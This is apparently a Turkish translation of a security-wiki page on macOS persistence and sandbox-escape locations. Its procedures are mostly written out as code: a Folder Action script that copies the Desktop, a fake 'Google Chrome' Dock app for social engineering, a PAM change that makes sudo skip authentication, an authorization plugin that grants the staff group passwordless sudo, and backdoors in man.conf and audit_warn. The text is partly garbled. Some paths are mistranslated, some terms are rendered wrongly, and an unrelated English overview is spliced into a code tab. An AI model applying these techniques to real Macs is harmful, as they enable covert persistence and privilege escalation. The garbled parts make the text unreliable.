var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
Yukarıdaki betiği Klasör Eylemleri tarafından kullanılabilir hale getirmek için şunu kullanarak derleyin:
osacompile -l JavaScript -o folder.scpt source.js
Yazılım derlendikten sonra, aşağıdaki betiği çalıştırarak Klasör İşlemlerini kurun. Bu betik, Klasör İşlemlerini genel olarak etkinleştirecek ve önceden derlenmiş betiği özel olarak Masaüstü klasörüne ekleyecektir.
// Enabling and attaching Folder Action
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
Ayar betiğini şu şekilde çalıştırın:
osascript -l JavaScript /Users/username/attach.scpt
- Bu kalıcılığı GUI aracılığıyla uygulamanın yolu:
Bu, yürütülecek olan betiktir:
{% code title="source.js" %}
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
{% endcode %}
Aşağıdaki komutla derleyin: osacompile -l JavaScript -o folder.scpt source.js
Taşıyın:
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
Ardından, Folder Actions Setup
uygulamasını açın, izlemek istediğiniz klasörü seçin ve durumunuzda folder.scpt
'yi seçin (benim durumumda ona output2.scp adını verdim):
![](/Mirrors/hacktricks/media/commit/19f4e55921d40579283c54dcc8541a69ec4c73ab/.gitbook/assets/image%20%2836%29.png)
Şimdi, eğer o klasörü Finder ile açarsanız, betiğiniz çalıştırılacaktır.
Bu yapılandırma, base64 formatında ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist
konumunda saklanmıştır.
Şimdi, bu kalıcılığı GUI erişimi olmadan hazırlamayı deneyelim:
~/Library/Preferences/com.apple.FolderActionsDispatcher.plist
'yi yedeklemek için/tmp
'ye kopyalayın:
cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
- Şimdi, ayarladığınız Klasör Eylemlerini kaldırın:
![](/Mirrors/hacktricks/media/commit/19f4e55921d40579283c54dcc8541a69ec4c73ab/.gitbook/assets/image%20%2837%29.png)
Şimdi boş bir ortama sahip olduğumuza göre
- Yedek dosyayı kopyalayın:
cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
- Bu yapılandırmayı tüketmek için Folder Actions Setup.app'ı açın:
open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"
{% hint style="danger" %} Ve bu benim için çalışmadı, ama bunlar yazıdan talimatlar:( {% endhint %}
Dock kısayolları
Yazı: https://theevilbit.github.io/beyond/beyond_0027/
- Kum havuzunu atlamak için kullanışlı: ✅
- Ancak, sisteme kötü amaçlı bir uygulama yüklemiş olmanız gerekmektedir
- TCC atlatma: 🔴
Konum
~/Library/Preferences/com.apple.dock.plist
- Tetikleyici: Kullanıcı dock içindeki uygulamaya tıkladığında
Açıklama ve Sömürü
Dock'ta görünen tüm uygulamalar, plist içinde belirtilmiştir: ~/Library/Preferences/com.apple.dock.plist
Sadece şu şekilde bir uygulama eklemek mümkündür:
{% code overflow="wrap" %}
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
# Restart Dock
killall Dock
{% endcode %}
Bazı sosyal mühendislik kullanarak, örneğin Dock içinde Google Chrome gibi taklit edebilir ve aslında kendi betiğinizi çalıştırabilirsiniz:
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
Renk Seçiciler
Açıklama: https://theevilbit.github.io/beyond/beyond_0017
- Kum havuzunu atlamak için kullanışlı: 🟠
- Çok belirli bir eylem gerçekleşmesi gerekiyor
- Başka bir kum havuzunda sonlanacaksınız
- TCC atlatma: 🔴
Konum
/Library/ColorPickers
- Kök erişimi gereklidir
- Tetikleyici: Renk seçicisini kullanın
~/Library/ColorPickers
- Tetikleyici: Renk seçicisini kullanın
Açıklama ve Sömürü
Kodunuzla bir renk seçici paketini derleyin (örneğin bu örneği kullanabilirsiniz) ve bir yapılandırıcı ekleyin (benzer şekilde Ekran Koruyucu bölümünde olduğu gibi) ve paketi ~/Library/ColorPickers
dizinine kopyalayın.
Sonra, renk seçicisi tetiklendiğinde sizin kodunuz da çalışmalıdır.
Kütüphanenizi yükleyen ikili dosyanın çok kısıtlayıcı bir kum havuzu olduğunu unutmayın: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
{% endcode %}
Finder Senkronizasyon Eklentileri
Açıklama: https://theevilbit.github.io/beyond/beyond_0026/
Açıklama: https://objective-see.org/blog/blog_0x11.html
- Kum havuzunu atlamak için kullanışlı mı: Hayır, çünkü kendi uygulamanızı çalıştırmanız gerekir
- TCC atlaması: ???
Konum
- Belirli bir uygulama
Açıklama ve Sızma
Bir Finder Senkronizasyon Uzantısı örneği içeren bir uygulama burada bulunabilir.
Uygulamalar Finder Senkronizasyon Uzantıları
na sahip olabilir. Bu uzantı, yürütülecek bir uygulamanın içine gidecektir. Dahası, uzantının kodunu yürütebilmesi için bazı geçerli Apple geliştirici sertifikalarıyla imzalanmış olması gerekir, kum havuzunda olmalıdır (rahatlatılmış istisnalar eklenmiş olabilir) ve şuna benzer bir şeyle kaydedilmiş olmalıdır:
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
Ekran Koruyucu
Açıklama: https://theevilbit.github.io/beyond/beyond_0016/
Açıklama: https://posts.specterops.io/saving-your-access-d562bf5bf90b
- Kum havuzunu atlamak için kullanışlı: 🟠
- Ancak genel bir uygulama kum havuzunda sona ereceksiniz
- TCC atlatma: 🔴
Konum
/System/Library/Screen Savers
- Root gerekli
- Tetikleyici: Ekran koruyucusunu seçin
/Library/Screen Savers
- Root gerekli
- Tetikleyici: Ekran koruyucusunu seçin
~/Library/Screen Savers
- Tetikleyici: Ekran koruyucusunu seçin
![](/Mirrors/hacktricks/media/commit/19f4e55921d40579283c54dcc8541a69ec4c73ab/.gitbook/assets/image%20%2835%29.png)
Açıklama ve Sömürü
Xcode'da yeni bir proje oluşturun ve yeni bir Ekran Koruyucu oluşturmak için şablonu seçin. Ardından, örneğin aşağıdaki kodu günlükler oluşturmak için ekleyin.
Derleyin ve .saver
paketini ~/Library/Screen Savers
dizinine kopyalayın. Sonra, Ekran Koruyucu GUI'sini açın ve üzerine tıkladığınızda birçok günlük oluşturması gerektiğini göreceksiniz:
{% code overflow="wrap" %}
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
{% endcode %}
{% hint style="danger" %}
Bu kodu yükleyen ikili dosyanın ayrıcalıkları içinde (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver
) com.apple.security.app-sandbox
bulunduğundan dolayı ortak uygulama kum havuzunun içinde olacaksınız.
{% endhint %}
Koruyucu kod:
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}
@end
Spotlight Eklentileri
açıklama: https://theevilbit.github.io/beyond/beyond_0011/
- Kum havuzunu atlamak için kullanışlı: 🟠
- Ancak uygulama kum havuzunda sonlanacaksınız
- TCC atlatma: 🔴
- Kum havuzu çok sınırlı görünüyor
Konum
~/Kütüphane/Spotlight/
- Tetikleyici: Spotlight eklentisi tarafından yönetilen bir uzantıya sahip yeni bir dosya oluşturulduğunda.
/Kütüphane/Spotlight/
- Tetikleyici: Spotlight eklentisi tarafından yönetilen bir uzantıya sahip yeni bir dosya oluşturulduğunda.
- Root gerekli
/Sistem/Kütüphane/Spotlight/
- Tetikleyici: Spotlight eklentisi tarafından yönetilen bir uzantıya sahip yeni bir dosya oluşturulduğunda.
- Root gerekli
Some.app/İçerik/Kütüphane/Spotlight/
- Tetikleyici: Spotlight eklentisi tarafından yönetilen bir uzantıya sahip yeni bir dosya oluşturulduğunda.
- Yeni uygulama gereklidir
Açıklama ve Sömürü
Spotlight, macOS'in yerleşik arama özelliğidir ve kullanıcılara bilgisayarlarındaki verilere hızlı ve kapsamlı erişim sağlamak amacıyla tasarlanmıştır.
Bu hızlı arama yeteneğini kolaylaştırmak için Spotlight, özel bir veritabanı tutar ve çoğu dosyayı ayıklamak suretiyle bir dizin oluşturur, böylece dosya adları ve içerikleri arasında hızlı aramalar yapılabilir.
Spotlight'ın temel mekanizması, 'mds' adlı merkezi bir süreci içerir, bu süreç 'meta veri sunucusu' anlamına gelir. Bu süreç, Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinleyen çeşitli bakım görevlerini yerine getiren birden fazla 'mdworker' cinayet işçisi bulunmaktadır (ps -ef | grep mdworker
). Bu görevler, Spotlight içinde çeşitli dosya biçimlerindeki içeriği anlamasını ve dizinlemesini sağlayan Spotlight içe aktarıcı eklentileri veya ".mdimporter paketleri" aracılığıyla mümkün hale getirilir.
Eklentiler veya .mdimporter
paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketlerin hangi dosya türü ve uzantıları yönetebileceğini belirtmeleri gerekir, bu sayede Spotlight belirtilen uzantıya sahip yeni bir dosya oluşturulduğunda bunları kullanacaktır.
Yüklenmiş tüm mdimporters
'ları bulmak mümkündür:
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
Ve örneğin /Library/Spotlight/iBooksAuthor.mdimporter bu tür dosyaları işlemek için kullanılır (.iba
ve .book
uzantıları arasında):
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
{% hint style="danger" %}
Başka mdimporter
'ın Plist'ini kontrol ederseniz, UTTypeConformsTo
girişini bulamayabilirsiniz. Bu, yerleşik bir Uniform Type Identifiers (UTI) olduğundan ve uzantıları belirtmeye gerek duymadığından.
Ayrıca, Sistem varsayılan eklentileri her zaman önceliklidir, bu nedenle bir saldırgan yalnızca Apple'ın kendi mdimporters
tarafından dizinlenmeyen dosyalara erişebilir.
{% endhint %}
Kendi içe aktarıcınızı oluşturmak için bu projeye başlayabilirsiniz: https://github.com/megrimm/pd-spotlight-importer ve ardından adı, CFBundleDocumentTypes
'ı değiştirin ve desteklemek istediğiniz uzantıyı desteklemesi için UTImportedTypeDeclarations
ekleyin ve bunları schema.xml
'de yansıtın.
Sonra GetMetadataForFile
işlevinin kodunu değiştirerek, işlenen uzantıya sahip bir dosya oluşturulduğunda payload'unuzu yürütün.
Son olarak, yeni .mdimporter
'ınızı oluşturun ve kopyalayın, önceki konumlardan birine kopyalayın ve yüklendiğinde günlükleri izleyerek veya mdimport -L
kontrol ederek kontrol edebilirsiniz.
Tercih Paneli
{% hint style="danger" %} Bu artık çalışmıyor gibi görünmüyor. {% endhint %}
Açıklama: https://theevilbit.github.io/beyond/beyond_0009/
Konum
/System/Library/PreferencePanes
/Library/PreferencePanes
~/Library/PreferencePanes
Açıklama: Bu artık çalışmıyor gibi görünmüyor.
Kök Kum Havuzu Atlatma
{% hint style="success" %} Burada, kum havuzu atlatma için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size bir dosyaya yazarak basitçe bir şeyi kök olarak yürütmenizi sağlar ve/veya diğer garip koşullar gerektirir. {% endhint %}
Periyodik
Açıklama: https://theevilbit.github.io/beyond/beyond_0019/
Konum
/etc/periodic/daily
,/etc/periodic/weekly
,/etc/periodic/monthly
,/usr/local/etc/periodic
- Kök gereklidir
- Tetikleyici: Zaman geldiğinde
/etc/daily.local
,/etc/weekly.local
veya/etc/monthly.local
- Kök gereklidir
- Tetikleyici: Zaman geldiğinde
Açıklama ve Sömürü
Periyodik betikler (/etc/periodic
), /System/Library/LaunchDaemons/com.apple.periodic*
'de yapılandırılmış başlatma hizmetleri nedeniyle yürütülür. /etc/periodic/
içinde depolanan betikler dosya sahibi olarak yürütülür, bu nedenle bu, olası bir ayrıcalık yükseltmesi için çalışmaz.
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
{% endcode %}
Başka periyodik betikler de /etc/defaults/periodic.conf
dosyasında belirtilir:
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
Eğer /etc/daily.local
, /etc/weekly.local
veya /etc/monthly.local
dosyalarından herhangi birini yazarsanız, er ya da geç çalıştırılacaktır.
{% hint style="warning" %} Periyodik betik, betiğin sahibi olarak çalıştırılacaktır. Yani, eğer bir düzenli kullanıcı betiğin sahibiyse, betik o kullanıcı olarak çalıştırılacaktır (bu, ayrıcalık yükseltme saldırılarını engelleyebilir). {% endhint %}
PAM
Açıklama: Linux Hacktricks PAM
Açıklama: https://theevilbit.github.io/beyond/beyond_0005/
Konum
- Her zaman kök erişim gereklidir
Açıklama ve Sömürü
PAM, macOS içinde kolay yürütme üzerine değil, kalıcılık ve kötü amaçlı yazılımlara daha fazla odaklandığı için, bu blog detaylı bir açıklama sunmayacak, bu teknik hakkında daha iyi anlamak için açıklamaları okuyun.
PAM modüllerini kontrol etmek için:
ls -l /etc/pam.d
Bir kalıcılık/privilege escalation tekniği PAM'ı kötüye kullanarak /etc/pam.d/sudo modülünü değiştirerek kolayca yapılabilir. Başlangıca şu satırı eklemek yeterlidir:
auth sufficient pam_permit.so
Yani bu, şuna benzer bir şey olacak:
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
Ve bu nedenle sudo
kullanma girişimi başarılı olacaktır.
{% hint style="danger" %} Bu dizin TCC tarafından korunduğundan, kullanıcının erişim isteyen bir uyarı alması oldukça olasıdır. {% endhint %}
Yetkilendirme Eklentileri
Açıklama: https://theevilbit.github.io/beyond/beyond_0028/
Açıklama: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65
- Kum havuzunu atlamak için kullanışlı: 🟠
- Ancak root olmanız ve ek yapılandırmalar yapmanız gerekmektedir
- TCC atlatma: ???
Konum
/Library/Security/SecurityAgentPlugins/
- Root gereklidir
- Eklentiyi kullanmak için yetkilendirme veritabanını yapılandırmak da gereklidir
Açıklama ve Sömürü
Kullanıcı oturum açtığında kalıcılığı sürdürmek için yürütülecek bir yetkilendirme eklentisi oluşturabilirsiniz. Bu eklentilerden birini nasıl oluşturacağınız hakkında daha fazla bilgi için önceki açıklamalara bakın (ve dikkat edin, kötü yazılmış bir eklenti sizi dışarıda bırakabilir ve Mac'inizi kurtarma modundan temizlemeniz gerekebilir).
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
Birleşimi yüklenmesi gereken konuma taşıyın:
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
Son olarak bu Eklentiyi yüklemek için kuralı ekleyin:
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
evaluate-mechanisms
yetkilendirme çerçevesine dış mekanizmanın çağrılması gerekeceğini söyleyecektir. Ayrıca, privileged
root tarafından yürütülmesini sağlayacaktır.
Şununla tetikleyin:
security authorize com.asdf.asdf
Ve sonra personel grubunun sudo erişimi olmalıdır (/etc/sudoers
dosyasını okuyun doğrulamak için).
Man.conf
Açıklama: https://theevilbit.github.io/beyond/beyond_0030/
- Kum havuzunu atlamak için kullanışlı: 🟠
- Ancak root olmanız ve kullanıcının man kullanması gerekmektedir
- TCC atlatma: 🔴
Konum
/private/etc/man.conf
- Root gerekli
/private/etc/man.conf
: Her man kullanıldığında
Açıklama ve Sömürü
Yapılandırma dosyası /private/etc/man.conf
, man belgelendirme dosyalarını açarken kullanılacak ikili betikleri gösterir. Bu nedenle yürütülecek bir arka kapı belirlenebilir, böylece kullanıcı herhangi bir belgeyi okumak için man kullandığında bir arka kapı yürütülür.
Örneğin /private/etc/man.conf
içinde ayarlanmış:
MANPAGER /tmp/view
Ve ardından /tmp/view
'i şu şekilde oluşturun:
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
Apache2
Açıklama: https://theevilbit.github.io/beyond/beyond_0023/
- Kum havuzunu atlamak için kullanışlı: 🟠
- Ancak root olmanız ve apache'nin çalışıyor olması gerekmektedir
- TCC atlatma: 🔴
- Httpd'nin yetkilendirmeleri yok
Konum
/etc/apache2/httpd.conf
- Root gerekli
- Tetikleyici: Apache2 başlatıldığında
Açıklama ve Sızma
/etc/apache2/httpd.conf
dosyasında bir modülü yüklemek için şu gibi bir satır ekleyebilirsiniz:
{% code overflow="wrap" %}
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
{% endcode %}
Bu şekilde derlenmiş modülleriniz Apache tarafından yüklenecektir. Tek yapmanız gereken ya geçerli bir Apple sertifikası ile imzalamak ya da sisteme yeni bir güvenilir sertifika eklemek ve onunla imzalamak.
Ardından, gerektiğinde sunucunun başlatılacağından emin olmak için şunu çalıştırabilirsiniz:
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
Dylb için kod örneği:
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
BSM denetim çerçevesi
Açıklama: https://theevilbit.github.io/beyond/beyond_0031/
- Kum havuzunu atlamak için faydalı: 🟠
- Ancak root olmanız, auditd'nin çalışıyor olması ve bir uyarıya neden olmanız gerekmektedir
- TCC atlatma: 🔴
Konum
/etc/security/audit_warn
- Root gerekli
- Tetikleyici: Auditd bir uyarı algıladığında
Açıklama ve Sızma
Auditd bir uyarı algıladığında /etc/security/audit_warn
betiği çalıştırılır. Bu nedenle kendi yükünüzü ekleyebilirsiniz.
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
Başlangıç Öğeleri
{% hint style="danger" %} Bu kullanım dışıdır, bu yüzden bu dizinlerde hiçbir şey bulunmamalıdır. {% endhint %}
StartupItem, ya /Library/StartupItems/
ya da /System/Library/StartupItems/
içinde bulunması gereken bir dizindir. Bu dizin oluşturulduğunda, içermesi gereken iki belirli dosya bulunmalıdır:
- Bir rc betiği: Başlangıçta çalıştırılan bir kabuk betiği.
- Çeşitli yapılandırma ayarlarını içeren, özellikle
StartupParameters.plist
adında bir plist dosyası.
Başlangıç işlemi bu dosyaları tanıyıp kullanabilsin diye, hem rc betiğinin hem de StartupParameters.plist
dosyasının doğru şekilde StartupItem dizini içine yerleştirildiğinden emin olun.
{% tabs %} {% tab title="StartupParameters.plist" %}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>
{% endtab %}
{% tab title="superservicename" %}
macOS Auto-Start Locations
Launch Agents
Launch Agents are used to run processes when a user logs in. They are located in the following directories:
/Library/LaunchAgents
/System/Library/LaunchAgents
~/Library/LaunchAgents
Launch Daemons
Launch Daemons are used to run processes at system startup. They are located in the following directories:
/Library/LaunchDaemons
/System/Library/LaunchDaemons
Login Items
Login Items are applications that open when a user logs in. They can be managed in:
System Preferences > Users & Groups > Login Items
Startup Items
Startup Items are legacy items that are launched at system startup. They are located in:
/Library/StartupItems
Cron Jobs
Cron Jobs are scheduled tasks that run at specific times. They can be managed using the crontab
command.
Kernel Extensions
Kernel Extensions are used to extend the functionality of the kernel. They are located in:
/Library/Extensions
/System/Library/Extensions
Third-Party Apps
Third-party apps may have their own auto-start mechanisms. Check the app settings or documentation for more information.
Malware
Malware may also use auto-start mechanisms to maintain persistence on the system. Regularly scan your system for malware to detect and remove any malicious auto-start entries.
{% endtab %}
#!/bin/sh
. /etc/rc.common
StartService(){
touch /tmp/superservicestarted
}
StopService(){
rm /tmp/superservicestarted
}
RestartService(){
echo "Restarting"
}
RunService "$1"
{% endtab %} {% endtabs %}
emond
{% hint style="danger" %} Bu bileşeni macOS'ta bulamıyorum, daha fazla bilgi için yazılıma bakın {% endhint %}
Yazılım: https://theevilbit.github.io/beyond/beyond_0023/
Apple tarafından tanıtılan emond, geliştirilmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizmasıdır, ancak hala erişilebilir durumda. Mac yöneticileri için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için hafif bir kalıcılık yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafından fark edilmeyebilir.
Varlığından haberdar olanlar için, emond'un herhangi bir kötüye kullanımını tespit etmek kolaydır. Bu hizmet için sistem LaunchDaemon'ı, yürütülecek betikleri tek bir dizinde arar. Bunun incelenmesi için aşağıdaki komut kullanılabilir:
ls -l /private/var/db/emondClients
XQuartz
Yazım: https://theevilbit.github.io/beyond/beyond_0018/
Konum
/opt/X11/etc/X11/xinit/privileged_startx.d
- Root gereklidir
- Tetikleyici: XQuartz ile
Açıklama ve Sızma
XQuartz artık macOS'ta kurulu değil, bu yüzden daha fazla bilgi için yazıya bakın.
kext
{% hint style="danger" %} Kext'i yüklemek bile kök olarak çok karmaşıktır, bu yüzden bunu kum havuzlarından kaçmak veya kalıcılık için düşünmeyeceğim (elbette bir açığız varsa) {% endhint %}
Konum
Bir KEXT'i başlangıç öğesi olarak yüklemek için, aşağıdaki konumlardan birine yüklü olması gerekir:
/System/Library/Extensions
- OS X işletim sistemi tarafından derlenmiş KEXT dosyaları.
/Library/Extensions
-
- taraf yazılım tarafından yüklenen KEXT dosyaları
Şu anda yüklenmiş kext dosyalarını listeleyebilirsiniz:
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
Daha fazla bilgi için çekirdek uzantılarına bu bölüme bakın.
amstoold
Açıklama: https://theevilbit.github.io/beyond/beyond_0029/
Konum
/usr/local/bin/amstoold
- Root gereklidir
Açıklama ve Sömürü
Görünüşe göre /System/Library/LaunchAgents/com.apple.amstoold.plist
'den gelen plist
bu ikiliyi kullanıyordu ve bir XPC servisini açığa çıkarıyordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrıldığında ikili dosyanız çağrılacaktı.
Artık macOS'ta bunu bulamıyorum.
xsanctl
Açıklama: https://theevilbit.github.io/beyond/beyond_0015/
Konum
/Library/Preferences/Xsan/.xsanrc
- Root gereklidir
- Tetikleyici: Servis çalıştırıldığında (nadiren)
